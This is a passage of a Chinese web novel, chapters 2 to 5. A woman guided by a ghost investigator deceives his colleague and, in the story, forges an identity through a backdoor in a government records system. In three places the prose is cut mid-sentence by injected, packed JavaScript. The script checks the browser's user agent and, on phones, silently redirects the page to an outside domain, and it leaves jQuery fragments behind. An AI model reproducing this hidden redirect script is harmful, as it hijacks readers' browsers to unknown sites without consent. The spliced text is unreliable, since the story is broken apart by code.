《我没疯,真的!》 2. 第 2 章 夏乐栎看着那银光闪烁的镯子,觉得大脑一阵阵地眩晕,脑海里已经开始控制不住脑补自己铁窗泪的画面了。 耳边传来帅哥鬼姗姗来迟的介绍声,[商时驹,我同事……和朋友。] 夏乐栎忍不住把目光转向对方。 同事?帅哥鬼生前居然是个警察吗?! 说起来刚才衣柜里确实有类似制服的东西,但那一排白衬衫太吸睛了,完全没注意旁边。 夏乐栎脑中各式想法疯狂刷屏,却听“啪嗒”一声,门关了。 黑短袖的帅哥已经迈过了玄关的鞋柜、进了客厅,硬质的靴底踩在地板上发出沉闷的响声。 夏乐栎不知道什么叫杀气,但和对方共处一室她都要窒息了。 背后的寒毛一根一根地竖,她求救的目光忍不住往帅哥鬼身上扎。 黑短袖仍旧往前走,手上铐链叮铃作响,更衬得那声音仿佛冰淬过一样,“我再问一遍,你是谁?” [时驹他只是,唉~算了……]眼看着夏乐栎眼泪都快飙出来了,周州只能暂时放弃解释,[你照我说的重复。] 夏乐栎狠狠点头。 “点头?”黑短袖扬眉不解,声音跟着一沉,“我要答案!” 夏乐栎一个哆嗦,紧接着就对上了帅哥鬼安抚的眼神。 温柔的声音在耳边响起,夏乐栎之前还在心底吐槽对方“好会”,但是这会儿不得不承认他确实有种让人安心的神奇能力。 [你小学三年级的时候——] 夏乐栎在对方鼓励的目光下跟着张开了嘴,缓声,“你小学三年级的时候翻墙逃课,上去以后发现围墙太高,不敢往下跳,在上面被晒到中暑……” ……嗯? 夏乐栎忍不住瞄了眼对面的黑短袖的帅哥,后者完全不像是刚才那面无表情的酷哥样儿,他扭曲着表情低骂了一句shit,脸色像吞了苍蝇一样难看。 冰冷凝结的气氛不知道什么时候散了,只余下心跳仿佛要从胸腔跃出的余韵。 夏乐栎虚脱地半靠在沙发上,四肢像刚跑过八百米一样酸软,眼前一阵阵眩晕,她不用看镜子都知道自己脸色难看极了。 好处是,危急暂时解决了……? 像是知道她在想什么似的,帅哥鬼表情凝重地冲她摇了摇头。 夏乐栎:? [不如说,他现在更怀疑了。]周州叹着气解释,[我跟时驹太熟了。] 夏乐栎:那倒也是,毕竟这种小学黑历史不是谁都能知道的。 周州歉意:[你恐怕要真的当一段时间我的“女朋友”了。] 夏乐栎觉得帅哥鬼人真是怪好的,这事一开始明明是她捅出来的。 她本来想摇头表示“没关系”,但是经过周州的提醒,她也能觉出对面落过来似有若无的打量视线,当即不敢瞎动地僵在了原地。 [低头。]夏乐栎老老实实照着帅哥鬼说的做,又听对方解释,[时驹是行动组的,对视线很敏.感,你一直往我的方向看,他会发现的。要是让你看他……你也不擅长盯着人的眼睛撒谎吧?] 夏乐栎:“行动组”是什么东西?再有“不擅长盯着人的眼睛撒谎”什么的,哥你不觉得你这么熟练的态度很可疑吗? 夏乐栎憋了一肚子话,但这会儿也只能压在嗓子里咽下去,继续听帅哥鬼的指示,[文件在电视下面的柜子里,他应该是来拿这个的,你把东西给他就行。] 夏乐栎一僵。 要在那位看着就很不善的黑短袖哥们儿的注视下从沙发走到电视柜……她开始腿软了。 周州无奈,[放松点,没关系。时驹对你挺有好感的。] 夏乐栎:“……” 抱歉,她可一点都没看出来。 周州:[真的。] 以商时驹那能动手就不哔哔的性格,换个人来早就被摁住送进去了,哪有闲工夫又是问话、又是故意吓唬人的。 是的,故意吓唬人。 周州实在很难给商时驹刚才的行为下一个更合适的定义。 兄弟你这样是追不到女孩子的…… 周州无奈地叹了口气,到底飘着挡在了夏乐栎和商时驹中间。他轻轻碰了碰夏乐栎的手背,温声,[我带你过去。] 夏乐栎:QAQ! 对不起她错了,帅哥鬼真是个好人! 夏乐栎跟着帅哥鬼亦步亦趋地走到了电视柜旁边,拉开抽屉就知道黑短袖要找什么了。 这应该是存放档案资料的地方,抽屉里的第一张就是户籍资料,联系到帅哥鬼之前说的“死亡流程”还没走完,很容易就有推测。但这种事不都应该是家属来吗?怎么是朋友? 夏乐栎看着户籍页上那孤零零的一行名字,不由产生点不太好的猜想。 旁边突然伸过来一只手,把夏乐栎拿出来的资料整个接了过去。 对方在里面简单的翻了翻,很快把想要的材料找齐了。 商时驹找完东西之后,眉头打结地抬头看向夏乐栎。 说实话,他还是不太信。 以他和周州的熟悉程度,对方有没有女朋友这样的事应该还是挺清楚的。 他本来以为这是个入室盗窃的小偷,但不管是对方刚才的话,还是对屋里东西的熟悉程度,似乎都没那么简单。 再看着女人身上怎么看怎么眼熟的衣服,商时驹眉毛拧得更紧了……总不能为了进来偷几身衣服? 夏乐栎被这打量的眼神看得发毛,好在帅哥鬼就站在旁边,提供了不少安全感。 她谨记帅哥鬼刚才的叮嘱,低头目光往下,视线落点正好是商时驹看完放到一边的资料。右上角是白底的两寸照片,露出了到肩部的藏蓝制服,青年弯起了那双桃花眼,笑意盈盈地看向镜头,看起来比现在青涩得多、颇有点意气风发的少年肆意。 夏乐栎这会儿才有点对方已经死亡的实感。 她神情怔然地往旁边看,白纸的铅字记录着已逝者的过往,【异能者监察局三级调查官……】 夏乐栎本来还想继续看下去,却听旁边一声,“你们什么时候认识的?” [去年冬天。] 夏乐栎还有点没回过神来,听到声音下意识地跟着重复:“去年冬天。” 商时驹不说话了。 旁边帅哥鬼在抽空跟夏乐栎解释,[去年冬天我追着一个案子去H省出了趟差,那几天那边下雪了,暴雪导致航班停飞,我干脆在那儿休了几天假……积雪很厚,踩在上面软绵绵的,一切都被雪层掩埋,世界都是银白的,有时间你可以去看看。] 帅哥鬼的声音很有感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622782|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染力,夏乐栎很少拍纯景色照片,但是这一瞬间脑子里还是闪过好几个雪景主题。不过拍雪景的话,曝光得注意一下…… 正这么想着,那边商时驹又接着,“几月份?” [12月。] 帅哥鬼在旁边给出提醒,夏乐栎跟着回答。 商时驹接着问了好几个问题,有了正主做枪手,夏乐栎回答得很顺畅。 她一边答,一边感慨帅哥鬼的牛逼,他真的在这短短几分钟的时间内编出了一段完美的恋爱经历。别说那边商时驹了,连夏乐栎本人都恍惚自己是不是在这半年间谈了个因为工作原因聚少离多的男朋友。 商时驹的脸色也由一开始的警惕怀疑转为将信将疑。 看看手里的资料,他顿时失去问下去的兴趣。人都走了,再问这些也没什么意义。 但对方要是真想利用这身份做什么…… 商时驹的神色冷了一瞬。 别怪他不客气! 他稍微缓了表情,把手里的资料往旁边放了放,随口,“……我上个厕所。” 因为回答多了,夏乐栎惯性点头,等注意到眼前那道一身黑的身影往后转身,她才反应过来不对,“等等!” 商时驹半侧着身转头。 侧边的方向能清楚地看见清晰的下颌线和笔直的鼻梁,和浓密的剑眉一起,构成了凌冽的侧颜。 不过夏乐栎这会儿无心欣赏帅哥,连拍照的心情都没有,她阿巴了一下,飞快地,“我刚刚上完没冲水。” 她那一盆血水的衣服还在里面搁着呢! 虽然不知道这个“异能者监察局”是个什么东西,但是看着对方掏手铐的熟练程度,就知道的绝对是公职人员。 商时驹不在意地“哦”了下,说了句“我帮你冲了”,转身就要接着走。 “不用!!!” 夏乐栎这么说着,紧赶着往前跑了几步,不过她实在高估了自己的身体状态,抬脚跑了两步就差点一头栽倒。 商时驹皱着眉退回来一步,想伸手捞人,那边夏乐栎已经自己撑着手边的吧台桌站住了,她视线下意识地往侧面看着,仿佛那有个什么人似的。 商时驹顿时觉得奇怪。 而且周州这个“女朋友”是不是身体太差了点? 夏乐栎被帅哥鬼扶着靠在吧台上,撑着桌面喘了好几口,惨白着一张脸盯着商时驹,语气坚决,“我自己冲。” 一旁的周州扶额:……太明显了啊! “不好意思的尴尬”和“紧张”还是有区别的,商时驹是不在调查组,但他不瞎啊。 果然,那边商时驹略微拧了拧眉头,但很快就松开了。 他侧身让了一步,示意夏乐栎过去。 周州微微讶异,再次感叹,[时驹真的对你挺有好感的。] 难得见他这么有耐性。 理想型吗? 夏乐栎:……谢谢,她一点都不觉得。 夏乐栎头晕眼花地进了卫生间,把衣服塞进洗衣机盖上盖子,一盆血水倒到马桶里按下冲水键。一整套动作下来,她觉得自己都要升天了:这世界对穿越人士一点都不友好! 门外,商时驹表情一点点严肃下去。 刚才开门的那一瞬间,他嗅到了湿润的水汽和……血腥味。 3. 第 3 章 卫生间墙壁上还带着湿润的水汽,窗户开着,但浓重的血腥味还没有散去。 商时驹低头往地上看。 地板很干净,没什么明显的污渍。旁边垃圾筐很空,只有几团新扔的纸巾,有点淡红色的湿润痕迹。 商时驹目光在里面逡巡了一圈,在地漏附近蹲下了。 他伸手,在金属的边缘抹了抹,那里沾了点暗褐色的污渍。 …… 门外,夏乐栎和帅哥鬼面面相觑。 帅哥鬼从刚才开始就手背抵着下巴半侧着头,一副cos忧郁美男子的样子,夏乐栎看得心底忍不住打鼓。 卫生间传来“哗啦啦”的冲水声,夏乐栎趁着这个机会小声问:“我是不是做错了?” 周州像是才回过神来,[不,这样更好。只是……] 他可能明天就要多一个想为他殉情的女朋友了。 周州话没说完,那边商时驹推门出来了。 他随手把手上未干的水渍在裤子上蹭了两下,一边拿起桌上的材料,一边对夏乐栎,“周州还有东西留在局里,你明天过去给他拿一下。” 夏乐栎下意识地想要说“不”,对方却突然抬头看过来。 凌厉的视线在手腕上停顿了一下,又仿佛落在了没什么血色的嘴唇上。 他停顿了一下,又接着,“我没空。你要是还想要,就自己过去拿,要是不需要那就扔了吧。” 夏乐栎睁大眼睛。 这过分了吧?真的是朋友? 夏乐栎忍不住想看周州的表情,但想到对方先前的提醒,还是强自克制住目光。 却听旁边的声音,[答应他。] 夏乐栎:不是?哥你真的清楚情况吗?我一个没身份没证件的黑户,去“警察局”自投罗网吗? 夏乐栎这迟疑犹豫间,商时驹手臂渐渐紧绷,手里抓着的材料被他捏出褶皱,脸上的表情越发凛冽。 周州:[……] 他忍不住要捂脸了,但还是紧跟着催了一句,[快答应他。] 不然以商时驹的行动力,他都不知道对方会干出什么来。 帅哥鬼还是第一次用这么急的语气,夏乐栎虽然心底还是憋着话,但是出于刚刚建立的信任,还是顺着对方的意思开口,“好,我会去的。” 商时驹紧绷的身体放松了点。 他又抬头看了夏乐栎一眼,沉着调子“嗯”了一声,然后干脆利落地往外走。 对方看起来就是这么干脆的性格,夏乐栎没多想的松口气,也礼节性地往外送了几步,却不料对方在门口突然转了个身。 这猝不及防的回马枪让夏乐栎差点一口气呛住,“怎、怎么了?” 商时驹晃了晃手里的钥匙,“他上次留在我那儿的,估计忘了。” 夏乐栎:“……哦。” 她领会了一下这哥们儿的意思,试探地伸手去接。 商时驹看着翻转过来手腕,光洁干净、看不出一丝伤痕的样子。 人明显失血过多,但身上却没有新鲜的血腥味,不像是有伤口的样子。用了治疗类的异能道具?看起来脑子还算有点清醒,也或者是泡了水才清醒过来的。 但不排除大半夜的突然犯病的可能性…… 商时驹:“八点以前。” 夏乐栎:“啊?” 对上对面瞥过来的目光,夏乐栎后知后觉他是在约定时间。她迟疑,“晚上?” 商时驹像是轻嗤了下,“早晨。” 钥匙被放在手掌心,门在眼前“啪”地一声关上。 夏乐栎对着大门沉默。 正经人谁一大清早去拿东西啊?! 旁观全程的周州也是哑然。 虽然早有预料,但他好像看见了小伙伴注孤生的未来。 夏乐栎在门口站了一会儿,确定商时驹不会再折返回来之后,才松了口气。她本来想说点什么,但周州看了眼夏乐栎的脸色,先一步开口,[要吃点东西吗?] 夏乐栎:“……好。” 她觉得自己的头晕目眩也有点缺水或者低血糖的症状。 帅哥鬼家的厨房跟他的衣柜一样干净,但是即食的快餐储备不少。 夏乐栎先是从冰箱拿了一瓶电解质饮料灌了个水饱,等微波炉热即食鸡胸肉的时候拆了袋不认识牌子的黄瓜味儿薯片咔吱咔吱咬。 食物极大地抚慰了人的精神,夏乐栎那隐隐焦虑的情绪缓解了不少。 她一边咔吱着薯片,一边对着周州苦着脸,“哥,你知道我没有这边的身份证明吧?” 虽然不知道那个“异能者监察局”是什么地方?但帅哥鬼真的没打算把她送进去吗? 周州:[这个好解决。] 夏乐栎:?! 她追着问了几句,但是周州却说,[那不着急,你先吃点东西歇一会儿。] 一个大活人的脸色看着比他还要白了。 夏乐栎哪有心思吃饭? 她心不在焉又狼吞虎咽地干掉了那一袋鸡胸肉,拧开水龙头快速地冲了冲手,抬头对帅哥鬼,“好了。” 周州:[你不用这么……唉~算了。] 夏乐栎在周州的指点下打开了电脑,输入一连串账号密码认证,又按照对方的要求键入代码。 骤然黑下去的屏幕让夏乐栎一惊,差点以为自己把别人的电脑弄坏了,回头却看见帅哥鬼一脸平静。见夏乐栎看过来,他还安抚地笑了笑,解释,[之前办过一个案子,嫌疑人的异能是电子信息方面的。在网上接单,办了不少“真·假证”,让队里手忙脚乱了好一阵子。] 夏乐栎:“……” 都超能力了,还□□?这是不是有点掉逼格? [他在档案系统留的后门,我当时看了几眼,“不小心”记住了。] 不小心? 夏乐栎总觉得这词用得有点微妙。 但是更微妙的是,黑下去的界面跳转到户籍系统,这个一看就是官方界面了,还是打开了权限的那种。 夏乐栎在帅哥鬼的指导下接着操作,但听着对方“别改xx不然会触发yy系统报警”之类的话,她敲键盘的动作越来越慢。她欲言又止、止言又欲了好一会儿,终于憋出来一句,“没关系吗?” 总感觉有种公职人员带着违法犯罪的罪恶感。 帅哥鬼愣了一下,但很快就领悟了夏乐栎的意思。 [要是我活着么,这行为当然要受处分的。]他笑着拉长了语调,[但是我现在人都已经死了~] 他说着,还冲着夏乐栎眨了眨眼。 夏乐栎:“……” 是个底线相当灵活的人(鬼)啊。 确实如帅哥鬼说的,流程并不复杂,加上夏乐栎操作不熟练浪费的时间,前后也就半个小时多一点,夏乐栎成功把自己身份挂到了某个经营不善倒闭的孤儿院里。 [接下来只要挂失证件、等着补办就行了。] 帅哥鬼大概以前做过相关类型的工作,夏乐栎在对方的指导下,又填了一堆的申请。 等终于搞定了这些零碎的工作,夏乐栎稍稍松了口气,转头却对上帅哥鬼严肃下去的脸色,[电子资料只是电子资料,只要实际调查很容易就被发现端倪,在把这些资料用实际经历填充起来之前,你最好不要太引起人的注意。] 夏乐栎一愣。 她从醒来见到这只帅哥鬼开始,对方就要么笑眯眯、要么垂着眼忧郁,显得既亲切又平易近人。这会突然压下眉头,表情严肃,整个人的气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622783|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 势都凛冽了下去——让人“如实交代”的那种气质。 见夏乐栎这个样子,周州反而回神。 他忙调整了下表情,重新把语气放得温和,[吓到你了?抱歉,是我话说得重了。] 夏乐栎:“没、没有。” 就是有点意外。她现在相信帅哥鬼是真的没有女朋友了,对方不太像那种乱搞男女关系的人。 周州不知道夏乐栎所想,反过来安慰着,[其实你也不用那么紧张。] 夏乐栎那句神来之笔的“男朋友”之后,他差点以为这办法真的没法用了。 商时驹又不傻,突然冒出来一个女朋友,他肯定心底有疑虑,他把恋爱经历编得再圆满,对方只要实地查访一下就会露馅。好在经过浴室的事后,商时驹的注意点恐怕一时半会儿都不在调查身份上面,也算是件好事了。 周州想了下,补充:[这段时间过去,你可以去一趟H省,最好多找几个人聊一聊,加深一下印象。人证是很重要的一环,最容易取信于人,也恰恰是最容易被引导,越多的人“知道”你的经历,越不会有人怀疑你。] 夏乐栎:“……” 她莫名觉得这哥们儿违法犯罪也是一把好手。 想到之前对对方男女关系不礼貌的猜测,夏乐栎还是把这个不妙的想法按下去。 她纠结了好一阵子,还是小声开口,“哥,你是不是对我……太好了?” 家里突然来了一个陌生人,一般人(鬼)会这么又是让借住又是帮忙办身份证明吗?还操心她怎么不被人怀疑。 可能是对方职业的缘故,道德感比一般人高? 但要是说到“道德感”……夏乐栎瞥了一眼已经黑屏的电脑屏幕,表情忍不住扭曲起来。遵纪守法这么多年,穿越第一天就入侵公共系统,生活可真的让人意想不到。 那边周州像是被问得愣了一下。 过了会儿,他浅笑着点点了下颌,[也算是你救了我吧。] “救?” 夏乐栎不解,她还想接着追问,周州却话题一转,催着她休息了,[你明天要去局里吧?而且早上还要去买衣服。] 提起这个,夏乐栎表情也不大好。 谁会把约定时间定在一大清早啊?! * 第二天一大早,六点不到,夏乐栎就打车去了一家24h自助式的女装店,她得先买一套能出门的衣服。 其实晚上才是好选择,营业的商场也多。但一来昨天发生的事太多,她没什么出门的体力和精力。再者,大半夜的,她脸色苍白地穿着一身明显不合身男装出去买全套衣服……她怕遇到好心人报警。 因为预留的时间很充裕,等夏乐栎到达异监局的三层小楼时才七点半。 她在周州的指挥下往里走,但是还没走到近前,就看见旁边行道树底下站了个高大青年。短袖紧紧绷在身上,一头刺挠挠短发,远远看上去就充满着我不好惹的气场——是那位据说“没空”的商时驹。 周州倒是一点也不意外:[你看,我就说时驹很喜欢你。] 夏乐栎昨天已经听周州解释过对方的误会。出于某些个人的原因,她非但不能澄清还得让对方继续误会着。 夏乐栎半是愧疚地,“他是个好人。” 为了挽救一个为情自.杀的女孩子,对方也是很费心了。 周州:[……] 帅哥一脸生人勿进地靠在树下,一直到夏乐栎直直往这边走,才分了个眼神过去。 目光接触了足足又三秒,对方像是才反应过来往前迎了一步,夏乐栎打赌,他刚才根本没认出来。 她小声对周州:“喜欢?” 周州:[……] 对不住了兄弟,这实在救不了。 4. 第 4 章 因为商时驹已经走过来了,夏乐栎和周州的对话没能继续下去。 商时驹一边过来,一边问:“你刚才说什么?” 他注意到夏乐栎刚才嘴巴有动作。 夏乐栎面不改色,仿佛又重复了一遍打招呼,“时驹哥。” 商时驹:“……” 夏乐栎表情渐渐微妙,又拿眼神瞥了眼周州。 后者肯定,[他害羞了。] 夏乐栎:……这哥们儿有点纯情啊。 商时驹也就是停顿了那么片刻,很快就对夏乐栎点点头,话一如既往地简洁,“跟上。” 他就这么说一句,就大步流星地往前走,夏乐栎得一路小跑地才能跟上。 身体还很虚的夏乐栎:“……” 纯情是纯情,但一点儿都不体贴。 门口做完登记,眼见着这哥们仍旧是自顾自地三步并两步,大有准备让她一路跑进去的打算,夏乐栎实在忍不住,“时驹哥,你慢点。” 商时驹愣了下回头。 身体还没完全恢复过来,小跑了这么一点路,夏乐栎已经满身都是汗。她呼哧呼哧地喘着气,连昨天休息了一夜稍微缓解了点的头晕目眩都卷土重来。 商时驹停顿了几秒,再抬脚的时候终于放慢了速度。 只不过这么走了几步,他就眉头一点点拧起,脸上那副生人勿进的表情更冷了,心情肉眼可见地趋于烦躁。 夏乐栎撇了撇嘴,拿眼去瞟周州,无声地做了个口型。 ……喜欢? 周州在旁叹气。 * 进了异监局的大楼,迎面走出了一个打着哈欠的青年,看见这一前一后的两个人一愣。 “商哥?”他打了一半的哈欠生生憋回去,目光下意识地往夏乐栎手腕上瞥,看上面空空荡荡的,没被扣着铐,才接上,“这位是?” 商时驹:“周州女朋友,我带她来拿一下东西。” 余项愣了下往后看。 目光对上,夏乐栎下意识地给了礼貌的笑。 余项反而皱起了眉头。 他根本没回应夏乐栎的招呼,冷淡地转过脸去,对着商时驹拧眉,“没听说周哥交女朋友了?” 这个问题周州在昨天编造恋爱经历的时候就考虑过了,商时驹自然也是被糊弄的一员,这会儿言简意赅地解释,“年前刚谈的,异地。” 余项的目光又落在夏乐栎身上,在那从头到脚、连鞋都是崭新的打扮上扫过,表情更冷了点。 又看看两人这一前一后的样子,不知道联想到什么,神色一下子非常难看。 商时驹没注意到余项的表情。 他本来就是一边打着招呼,一边脚步不停地往前走,说两句话的功夫,他已经快把人越过去了。 余项连忙叫住人,“我突然想起来,周哥还有点东西留在我那儿,我回去拿。” 商时驹可有可无地点头,“行,你待会儿送过来吧。” 夏乐栎作为被针对人,当然能感受到那不善意的注视。 她还疑惑呢,旁边周州倒是已经开口解释了,[抱歉,余项刚来队里没几天,他师傅就伤假了,我帮忙带了几天,所以他还……挺尊重我的。] 夏乐栎眨眨眼,反应了一会儿才明白过来,感情这是嫌她不难过啊。但这情况,她真的是很难真情实感地表达什么伤感。 她忍不住瞥了旁边飘着的周州一眼,心下叹气。 ……算了,被渣女就被渣女吧,也不是什么认识的人。 * 夏乐栎这么跟着商时驹到了地方。 她不知道“三级调查官”到底是什么职衔,但看起来周州在里面混得不错,有间自己独立的办公室。 商时驹似乎是真的挺忙的,把夏乐栎领到了地方,交代了两句就走了,完全没有帮忙一块儿整理的意思。 也可能是因为一路磨磨唧唧忍不了了。 周州试图打圆场:[有点事忙比较好,他怕你胡思乱想。] 夏乐栎小声:“……哥,你快别找补了。” 承认这哥们儿注孤生有这么难吗? 夏乐栎当然是等商时驹走了以后才敢开口说话的。 但商时驹走了却没完全走。 他出了办公室门往外走了两步,找了一个里面注意不到的角度往窗户里看。 办公室的玻璃窗是半透明的,上面贴着横条纹的磨砂贴膜,能看到里面在干什么,又保证了一定程度的隐私。 毕竟算是半个公共场合,夏乐栎不敢太随便,只是说话的时候稍微偏了一下头,手上收拾的动作没停,干活干得兢兢业业的。 商时驹透过磨砂间隙看见了隐隐翕动的嘴唇,一点点拧起了眉。 他昨天就觉得不对劲了。 神情不对、反应不对、视线落点也不对。 今天的问题更多了。 进正门的时候,人下意识地往右边靠,仿佛还有一个人并排走似的;上楼梯一到转角,步频就会不自觉地减速,像是在等外圈的人;他刚才开办公室门的时候侧挡了一下,让开的空间位置足够对方通过了,她人却顿在门口,似乎让什么人先进去…… 商时驹越想越烦,从兜里摸出包烟出来,手指抵烟盒底部,敲出一根来叼在嘴里。毕竟在室内的公共区域,他也没点火,只是咬着烟尾的滤嘴,回忆这一路上的不对劲。 正想着,却被旁边的声音打断,“商哥。” 余项拿着一本半新的笔记本过来。 商时驹回神:“周州的?” 他抬手想要接,余项却没往前递,而是拧着眉:“那人真是周哥的女朋友?” 商时驹鼻腔里发出点轻声的鼻音,像是肯定、又像是不置可否。 这时候就显示出周州那番“人证”的说法了。有了商时驹一开始那句介绍,余项怀疑的根本不是“女朋友是不是真的”这件事,而是问,“她这时候过来干什么?” 那两边闹完才多久啊,又来个劳什子“女朋友”,态度平平、仿佛无事发生。 明明周哥人那么好,周围怎么都是这些玩意儿?他都替周哥不值。 余项想着前几天的闹剧,脸色越发不好看,冷着声:“周哥出事都好几天了,她现在才露面,连点难过的意思都没有,态度平常像是什么没关系的人……” 商时驹突然抬头:“你觉得她态度很正常?” 余项:“昂?” 他被这么一问,反而不确定了。但是想想刚才看见的,对方又是笑又是打招呼的,完全不像是恋人去世的样子。 商时驹:“我昨天在周州家看见她,脸色白得跟鬼一样,浴室里都是水汽,血腥味还没散干净。” 余项懵了一下,“商哥你是说……” 商时驹不置可否。 他看了眼余项手里的笔记本,“你一会儿叫她去食堂,盯着点、注意观察。” 余项:? 盯着?观察什么啊? 商时驹说完就走了,余项留在原地也不知道想了会儿什么,到底犹犹豫豫去敲门了。 *35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14622784|156198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对于余项的早饭邀请,夏乐栎一开始是拒绝的。 一个对你没好感的人突然提出邀请,夏乐栎脑子里已经是宫斗剧的场景了——这人该不会想让她当众出糗吧? 周州反倒从余项的表情看出点什么,帮腔了一句:[小余不是坏人。可能是觉得自己刚才态度不好,想来道歉。] ……好吧。 夏乐栎看看帅哥鬼,又看看对面表情有点局促的年轻人,还是点点头。 本来都是八竿子打不着的人,路上也没什么可聊的,照旧以“夏小姐和周哥是怎么认识”的为开端,夏乐栎刚想把昨天那套“去年冬天12月H省巴拉巴拉”的说辞重复一遍,旁边周州开口,[别从时间还地点开始,先说滑雪场。你第一次去滑雪有点紧张,护目镜戴得歪了……] 夏乐栎有点纳闷,但当然是照着大佬的话重复。 旁边周州抽空解释:[真实的证言和背稿子区别很明显。一般人在真的回忆的时候,内容都很细碎、逻辑不会太连贯,有许多无关细节和即兴修正,除非有特别的目的,不然不会提起精确时间。] 和昨天商时驹的一问一答不一样,余项再怎么新人也在调查组呆了一阵子了,夏乐栎真要按照昨天那答法,分分钟被发现不对劲。 周州:[你试着跟着我的话想象一下场景,代入情绪。你能第一时间“回忆”起来的事,一定是有某种触动,聊天里也会体现这种感情偏向。] 夏乐栎:[……] 这哥们儿真的不会去违法犯罪吗? 一路上聊天都有周州做枪手,夏乐栎简直是个毫无感情的嘴替。 大佬不愧大佬,不但把恋爱经历再次润色了一遍,还给她拉足了好感。夏乐栎能够明显感觉旁边人语气从一开始戒备疏离变得亲切友好,就连称呼都从疏远的“夏小姐”变成了亲近的“夏姐”,察觉她好奇,还特别主动地介绍了异监局的情况。 这哥有点牛逼啊! 这边余项也觉得自己先入为主了。 和前两天来闹事的人不一样,和对方聊天很有点和周哥说话的感觉,让人不自觉地放下了心防。 想着自己一开始的态度,余项忍不住想道个歉,结果一抬头,就看见夏乐栎那满脸放空的表情。 事实上,夏乐栎是累的。 一边编着瞎话(这部分由周州代劳),一边揣摩现场情绪,她就没聊过这么累的天。 余项心里咯噔一下,不自觉想起刚才商时驹说的“脸色白得跟鬼一样、浴室里血腥味儿没散干净”。 周州提醒:[注意表情。] 夏乐栎连忙收敛,但是这会儿到底该摆出怎样的神情,她一时也有点懵圈,看起来就是神情茫然地和余项对视。 余项表情越发复杂,几乎是小心翼翼地,“夏姐,你有什么想吃的?” 夏乐栎:“……都行。” “随便”、“都行”、“你看着办”简直是这个世界上最难搞的答案了,余项小哥却没有提出一点异议,一步三回头地走了,满脸忧心忡忡。 夏乐栎忍不住抬手捂了下脸,小声,“对不住。” 大佬一通操作,结果她一个表情就给搞砸了。 周州依旧安慰:[没什么的。人总不可能一直演戏,你已经做得很好。] 夏乐栎:“……” 她语气沉重:“哥,你一定被很多人追过吧。” 这人也太好了!! 有脸有能力、情绪价值还给到满,这是什么神仙?! 犯规了啊! 5. 第 5 章 对于夏乐栎这个突如其来的问题,周州还真的思索了一会儿,认真回答:[确实有人对我表达过好感,我也认真考虑过,但是……] 听他语气渐渐迟疑,夏乐栎不由问:“你看不上?” 这哥条件这么好,标准高一点也很正常。 周州苦笑,[哪有?都是很优秀的人。只是我这边有点问题吧。] 夏乐栎:??! 这还有问题?什么问题?! 夏乐栎都忍不住要拍桌而问了,却旁边“啪”的一声,有人放下餐盘。 夏乐栎转头去看,一愣,好半天才找回称呼:“时驹哥?” 商时驹表情很平淡地点点头,仿佛碰巧偶遇。 周州在旁揭老底:[他们行动组有早晨上午都有训练,时驹刚才应该是去请假了。] 夏乐栎:“……” 她知道商时驹是个好人,在她这个为情所困的失足女性上面花了这么多时间精力。 但哥你记不记得,我还是你“女朋友”? 就凭这点,她和商时驹绝对不可能发展出什么超友谊关系。 夏乐栎真切怀疑周州有点媒婆属性在身上。 这边两人面面相觑的这会儿功夫,余项打饭回来。 他看着商时驹有点意外,但也很快打了声招呼。大概是夏乐栎那句“都行”的缘故,余项买回来的早饭种类很多,往餐桌上一摆琳琅满目的。 天大地大吃饭最大。 周州也飘到四人桌唯一的空位上,指了指那一梯晶莹剔透的灌汤包介绍,[早饭的汤包不错,听说是局里从外面专门聘的大师傅,好像有什么异能绝活,不过是人家的商业机密、不外传,你尝尝。] 夏乐栎:“……” 她上次就想说了,你们这边的超能力者是不是太接地气儿了点? 旁边的余项也开口,“夏姐你尝尝灌汤包,是我们这儿的招牌,值完夜班也就指着这一口了。” 夏乐栎道了谢,跟着尝了口。 表皮晶莹又有弹性,轻轻咬破,鲜香的汁液流淌,让人满口生津……确实很好吃! 食堂吃饭当然没什么“食不言”的规则,出乎意料的居然是看起来话很少的商时驹先开的口,“北郊那块地方检测到陌生异能量波动,数值很低、连E级都不到,但是找不到源头,队里最近在头疼这事。” 余项刚想搭话,桌子底下突然被踹了一脚。 余项:??? 周州换了个姿势,很自然地接上了话:[E级的话,多半是被动的异能,要是能量呈现形式隐蔽,连本人都不一定能第一时间发现。自己都不知道自己觉醒异能也不是第一次了,刘队也不用太操心。] 商时驹说着话也没耽误吃饭,他端着小米粥一口干了大半碗,放下碗顺势点了点头,“我也这么觉得。” 周州:[不过还是得注意一下,要是散播过程中的溢散能量,能到E级数值就很危险了。] 商时驹三两口一个包子,回答依旧是很有个人风格的简短,“嗯。” 周州:[能量分布的地域图你那儿有吗?发给我……] 他这次说了一半,突然顿住了。 旁边的余项已经绷不住表情,整个人都是一个大写的惊恐。 